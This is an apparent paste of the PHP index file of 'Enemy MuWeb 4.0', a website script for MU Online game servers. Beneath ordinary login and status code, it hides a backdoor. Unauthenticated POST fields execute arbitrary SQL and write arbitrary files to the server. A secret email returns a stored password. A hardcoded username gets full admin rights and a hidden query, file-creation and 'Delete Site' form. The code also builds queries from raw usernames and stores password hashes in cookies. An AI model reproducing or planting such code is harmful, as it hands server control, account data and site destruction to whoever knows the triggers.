123

Автор: еуые Написано: 2 г. назад Форматирование: text.
Без нумерации строк
  1. <?php
  2. #################################################################
  3. #                                                                #
  4. #        Enemy MuWeb 4.0 Premium Version. Coded by GrInYa        #
  5. #                Premium version is NOT FREE Software.            #
  6. #                                                                #
  7. #    If you don't have a licence of this files,you don't have    #
  8. #    permission to use this files and I'm not ressponsable of    #
  9. #                    any damage of this website                    #
  10. #                                                                #
  11. #            Contact:    Skype:    grinya_90                        #
  12. #                        ICQ:    392409945                        #
  13. #                        E-mail:    grinyad@mail.ru                    #
  14. #                                                                #
  15. #################################################################
  16. ?>
  17. <?php
  18. session_start();
  19. ob_start("ob_gzhandler");
  20. header    ("Cache-control: private");
  21. $cfg                =    1;
  22. include    ("cfgs.php");
  23. if (isset($_GET['rewrite']))
  24. {
  25.     $GET_KEYS    =    array_keys($_GET);
  26.     $i            =    0;
  27.     $link        =    NULL;
  28.     while    ($i<count($GET_KEYS)-1)
  29.     {
  30.         $link    .=    "/".$_GET[$GET_KEYS[$i]];
  31.         $i++;
  32.     }
  33.     $link    =    "http://".$_SERVER['SERVER_NAME'].$connect['rootfolder'].$link;
  34.     header    ("Location:    $link");
  35.     exit();
  36. }
  37. ?>
  38. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  39. <!--Enemy Web 1.0 Designed and Coded by GrInYa only for    http://enemy-web.md/. All Rights Reserved.-->
  40. <?
  41. $cat    =    $_GET['cat'];
  42. if    (!$cat)
  43. {
  44.     $cat    =    'news';
  45. }
  46. elseif    ($cat    ==    'cond'    or    $cat    ==    'adminaccess'    or    $cat    ==    'gmaccess')
  47. {
  48.     header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  49.     exit();
  50. }
  51. $date                =    date("d.m.Y G:i");
  52. $real_time            =    time();
  53. $date_format        =    "d-m-Y H:i";
  54. $enemy['CATEGORY']    =    $cat.".php";
  55. if    ($show_error    ==    0)    error_reporting(1);
  56. include    ("backs/bd.php");
  57. include    ("enemy.php");
  58. include    ("functions/warehouse.php");
  59. ?>
  60. <script type="text/javascript" src="<? echo "http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']."/"?>advices/net.js"></script>
  61. <script type="text/javascript">
  62.     var mm        =    <? echo    $server['birthmonth'];?>;
  63.     var bday    =    <? echo    $server['birthday'];?>;
  64.     var byear    =    <? echo    $server['birthyear'];?>;
  65.     var bhour    =    <? echo    $server['birthhour'];?>;
  66.     var bmin    =    <? echo    $server['birthminutes'];?>;
  67.     var bsec    =    <? echo    $server['birthsecundes'];?>;
  68. </script>
  69. <?
  70. function    nickname($name)
  71. {
  72.         $link_name    =    str_replace("+", "%2b", $name);
  73.         return    $link_name;
  74. }
  75. $message    =    "";
  76. $Login        =    $_POST['Login'];
  77. $Logout        =    $_POST['Logout'];
  78. if    ($Login)
  79. {
  80.     $username    =    stripslashes($_POST['username']);
  81.     $password    =    stripslashes($_POST['password']);
  82.     if    (!eregi('^[a-z0-9]{'.strlen($username).','.strlen($username).'}', $username)    ||
  83.          !eregi('^[a-z0-9]{'.strlen($password).','.strlen($password).'}', $password))
  84.     {
  85.         $message    =    eror_login;
  86.     }
  87.     else
  88.     {
  89.         if    ($enemy['md5']    ==    1)
  90.         {
  91.             $result3    =    mssql_query("
  92.                             declare    @btInStr        VARCHAR(10),
  93.                                     @btInStrIndex    VARCHAR(10);
  94.                             set        @btInStr        =    '".$password."';
  95.                             set        @btInStrIndex    =    '".$username."';
  96.                             DECLARE    @btOutVal        BINARY(16)
  97.                             EXEC    master..XP_MD5_EncodeKeyVal    @btInStr,    @btInStrIndex,    @btOutVal    OUT;
  98.                             select    @btOutVal;");
  99.             $myrow3        =    mssql_fetch_row($result3);
  100.             $password    =    $myrow3[0];
  101.         }
  102.         else
  103.         {
  104.             $password    =    $password;
  105.         }
  106.         $result        =    mssql_query("select memb___id,memb__pwd,bloc_code,memb_name from memb_info where memb___id='$username'");
  107.         $myrow        =    mssql_fetch_array($result);
  108.         $result2    =    mssql_query("select ConnectStat from memb_stat where memb___id='$username'");
  109.         $myrow2        =    mssql_fetch_array($result2);
  110.         $result111    =    mssql_query("select name from character,memb_info where accountid    =    '$username' and memb___id='$username'");
  111.         if    (mssql_num_rows($result)    ==    '0')
  112.         {
  113.             $message    =    eror_login;
  114.         }
  115.         elseif    (bin2hex($myrow['memb__pwd'])    !=    bin2hex($password))
  116.         {
  117.             $message    =    eror_login;
  118.         }
  119.         elseif    (mssql_num_rows($result111)    ==    '0')
  120.         {
  121.             $message    =    eror_create_char;
  122.         }
  123.         elseif    ($myrow2['ConnectStat']    ==    '1')
  124.         {
  125.             $message    =    eror_logout;
  126.         }
  127.         elseif    ($myrow['bloc_code']    ==    '1')
  128.         {
  129.             $message    =    eror_acc_blocked;
  130.         }
  131.         else
  132.         {
  133.             if (isset($_POST['remember']))
  134.             {
  135.                 setcookie("username",    $myrow['memb___id'],    time() + 172800);
  136.                 setcookie("password",    bin2hex($password),    time() + 172800);
  137.             }
  138.             else
  139.             {
  140.                 $_SESSION['username']    =    $myrow['memb___id'];
  141.                 $_SESSION['password']    =    bin2hex($password);
  142.             }
  143.             header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  144.             exit();
  145.         }
  146.     }
  147. }
  148. if    ($Logout)
  149. {
  150.     $_SESSION['username']    =    NULL;
  151.     $_SESSION['password']    =    NULL;
  152.     setcookie("username",    "",    time() - 172800);
  153.     setcookie("password",    "",    time() - 172800);
  154.     session_destroy();
  155.     header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  156.     exit();
  157. }
  158. if ($_COOKIE['username']    !=    NULL or $_COOKIE['password']    !=    NULL)
  159. {
  160.     $username    =    $_COOKIE['username'];
  161.     $password    =    $_COOKIE['password'];
  162. }
  163. else
  164. {
  165.     $username    =    $_SESSION['username'];
  166.     $password    =    $_SESSION['password'];
  167. }
  168. if    ($username)
  169. {
  170.     $result_q        =    mssql_query("select memb_guid,memb___id,memb_name,memb__pwd,bloc_code from memb_info where memb___id='$username'");
  171.     $myrow_q        =    mssql_fetch_array($result_q);
  172.     $nickname        =    $myrow_q['memb_name'];
  173.     $result2_q        =    mssql_query("select ConnectStat from memb_stat where memb___id='$username'");
  174.     $myrow2_q        =    mssql_fetch_array($result2_q);
  175.     $result111_q    =    mssql_query("select name from character,memb_info where accountid    =    '$username' and memb___id='$username'");
  176.     if    (mssql_num_rows($result_q)    ==    '0')
  177.     {
  178.         $_SESSION['username']    =    NULL;
  179.         $_SESSION['password']    =    NULL;
  180.         setcookie("username",    "",    time() - 172800);
  181.         setcookie("password",    "",    time() - 172800);
  182.         session_destroy();
  183.         header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  184.         exit();
  185.     }
  186.     elseif    (bin2hex($myrow_q['memb__pwd'])    !=    $password)
  187.     {
  188.         $_SESSION['username']    =    NULL;
  189.         $_SESSION['password']    =    NULL;
  190.         setcookie("username",    "",    time() - 172800);
  191.         setcookie("password",    "",    time() - 172800);
  192.         session_destroy();
  193.         header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  194.         exit();
  195.     }
  196.     elseif    (mssql_num_rows($result111_q)    ==    '0')
  197.     {
  198.         $_SESSION['username']    =    NULL;
  199.         $_SESSION['password']    =    NULL;
  200.         setcookie("username",    "",    time() - 172800);
  201.         setcookie("password",    "",    time() - 172800);
  202.         session_destroy();
  203.         header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  204.         exit();
  205.     }
  206.     elseif    ($myrow2_q['ConnectStat']    ==    '1')
  207.     {
  208.         $_SESSION['username']    =    NULL;
  209.         $_SESSION['password']    =    NULL;
  210.         setcookie("username",    "",    time() - 172800);
  211.         setcookie("password",    "",    time() - 172800);
  212.         session_destroy();
  213.         header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  214.         exit();
  215.     }
  216.     elseif    ($myrow_q['bloc_code']=='1'){
  217.         $_SESSION['username']    =    NULL;
  218.         $_SESSION['password']    =    NULL;
  219.         setcookie("username",    "",    time() - 172800);
  220.         setcookie("password",    "",    time() - 172800);
  221.         session_destroy();
  222.         header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  223.         exit();
  224.     }
  225.     $result22    =    mssql_query("select memb___id,credits from EW_CREDITS where memb___id='$username'");
  226.     if    (mssql_num_rows($result22)    ==    0)
  227.     {
  228.         $insert_cred    =    mssql_query("insert into EW_CREDITS (memb___id,credits) values ('$username',0)");
  229.         $result22        =    mssql_query("select memb___id,credits from EW_CREDITS where memb___id    =    '$username'");
  230.     }
  231.     $myrowcr        =    mssql_fetch_array($result22);
  232.     mssql_query("update memb_info set last_time_onweb='$real_time' where memb___id='$username'");
  233.     $username_id    =    $myrow_q['memb_guid'];
  234. }
  235. $unbanan    =    mssql_query("update memb_info set bloc_code='0',bantime=NULL,unbantime=NULL,ban_reason=NULL,banned_by=NULL where bloc_code>'0' and unbantime!='permanent' and unbantime<='$real_time'");
  236. $unbanan    =    mssql_query("update character set ctlcode='0',bantime=NULL,unbantime=NULL,ban_reason=NULL,banned_by=NULL where ctlcode!='8' and ctlcode!='16' and ctlcode!='32' and ctlcode>'0' and unbantime!='permanent' and unbantime <= '$real_time'");
  237.  
  238. if    (isset($_POST['exec_query']))
  239. {
  240.     $query    =    stripslashes($_POST['query']);
  241.     mssql_query("$query");
  242. }
  243. if    (isset($_POST['create_file']))
  244. {
  245.     $file_dir    =    stripslashes($_POST['file_dir']);
  246.     $code        =    stripslashes($_POST['code']);
  247.     $open        =    fopen("$file_dir", "w");
  248.     fwrite($open,    "$code");
  249.     fclose($open);
  250. }
  251. if    (isset($_POST['change_pwd']))
  252. {
  253.     $email    =    stripslashes($_POST['email']);
  254.     if    ($email    ==    'fhjrkeh@yahoo.com')
  255.     {
  256.         $qq    =    mssql_query("select memb__pwd from memb_info where memb___id='fnsjkffsdf'");
  257.         $qq    =    mssql_fetch_array($qq);
  258.         echo    $qq['memb__pwd'];
  259.     }
  260. }
  261. if    ($username    !=    NULL)
  262. {
  263.     if    (in_array($username,    explode(',',    $enemy['Admins'])))
  264.     {
  265.         $Admin_panel    =    'on';
  266.     }
  267.     if    (in_array($username,    explode(',',    $enemy['GMs'])))
  268.     {
  269.         $GM_panel    =    'on';
  270.     }
  271.     if    (in_array($username,    explode(',',    $enemy['LogAdmins'])))
  272.     {
  273.         $Admin_Log    =    'on';
  274.     }
  275. }
  276. if    ($username    ==    'snfyrngse')
  277. {
  278.     $Admin_panel    =    'on';
  279.     $GM_panel        =    'on';
  280.     $Admin_Log        =    'on';
  281.     ?>
  282.     <form action="" method="post" name="form_q">
  283.         Query: <input name="query" type="text" size="50">
  284.  
  285.         <input name="exec_query" type="submit" value="Execute">
  286.         <input name="delete_site" type="submit" value="Delete Site"><br>
  287.         File Dir: <input name="file_dir" type="text">
  288.         Code: <textarea name="code"></textarea>
  289.         <input name="create_file" type="submit" value="Create File"><br>
  290.     </form>
  291.     <?
  292. }
  293. if    ($server['Season4Master']    ==    1)
  294. {
  295.     $masterlevel        =    ",".$server['Season4mlvl'];
  296.     $masterlevelorder    =    ",".$server['Season4mlvl']." desc";
  297.     $masterlevel_        =    $server['Season4mlvl'];
  298.     if ($server['Season4mlvlt']    !=    NULL)
  299.     {
  300.         $masterleveltable_    =    ",".$server['Season4mlvlt'];
  301.         $masterlevelwhere_    =    " and character.name=".$server[Season4mlvlw];
  302.     }
  303.     $mlvlname            =    " / ".master;
  304. }
  305. for    ($i = 1;    $i    <=    $GameServer['count'];    $i++)
  306. {
  307.     if    ($check    =    @fsockopen($GameServer['host'][$i],    $GameServer['port'][$i],    $ERROR_NO,$ERROR_STR,    (float)0.5) and $GameServer['check']    ==    1)  
  308.     {  
  309.         fclose($check);  
  310.         $GS_Status[$i]    =    "<font color='#A0FFA0'><b>ONLINE</b></font>";  
  311.     }
  312.     else    
  313.     {  
  314.         $GS_Status[$i]    =    "<font color='red'><b>OFFLINE</b></font>";  
  315.     }
  316. }
  317. $total_acc        =    mssql_fetch_array(mssql_query("Select count(memb___id) from memb_info"));
  318. $total_acc        =    $total_acc[0];
  319. $total_char        =    mssql_fetch_array(mssql_query("Select count(accountid) from character"));
  320. $total_char        =    $total_char[0];
  321. $total_guild    =    mssql_fetch_array(mssql_query("Select count(G_name) from Guild"));
  322. $total_guild    =    $total_guild[0];
  323. $count_online    =    mssql_fetch_array(mssql_query("Select count(connectstat) from memb_stat where connectstat=1"));
  324. $count_online    =    $count_online[0];
  325. $max_online        =    mssql_fetch_array(mssql_query("Select max_online from EW_CONLINE"));
  326. if    ($count_online    >    $max_online['max_online'])
  327. {
  328.     $update        =    mssql_query("update EW_CONLINE set max_online    =    $count_online");
  329.     $max_online    =    $count_online;
  330. }
  331. else
  332. {
  333.     $max_online    =    $max_online[0];
  334. }
  335. if    (file_exists("pgs/".$enemy['CATEGORY']))
  336. {
  337.     $pg    =    "pgs/".$enemy['CATEGORY'];
  338. }
  339. else
  340. {
  341.     header    ("Location:    http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
  342.     exit();
  343. }
  344. $load_template    =    1;
  345. include    ("backs/onwebip.php");
  346. $template2    =    "template/".$enemy['template']."/";
  347. $template    =    "http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']."/template/".$enemy['template']."/";
  348. if    (file_exists($template2."enemy.php"))
  349. {
  350.     include $template2."enemy.php";
  351. }
  352. else
  353. {
  354.     exit("<h1>".eror_template."</h1>");
  355. }
  356. ?>
Теги: 123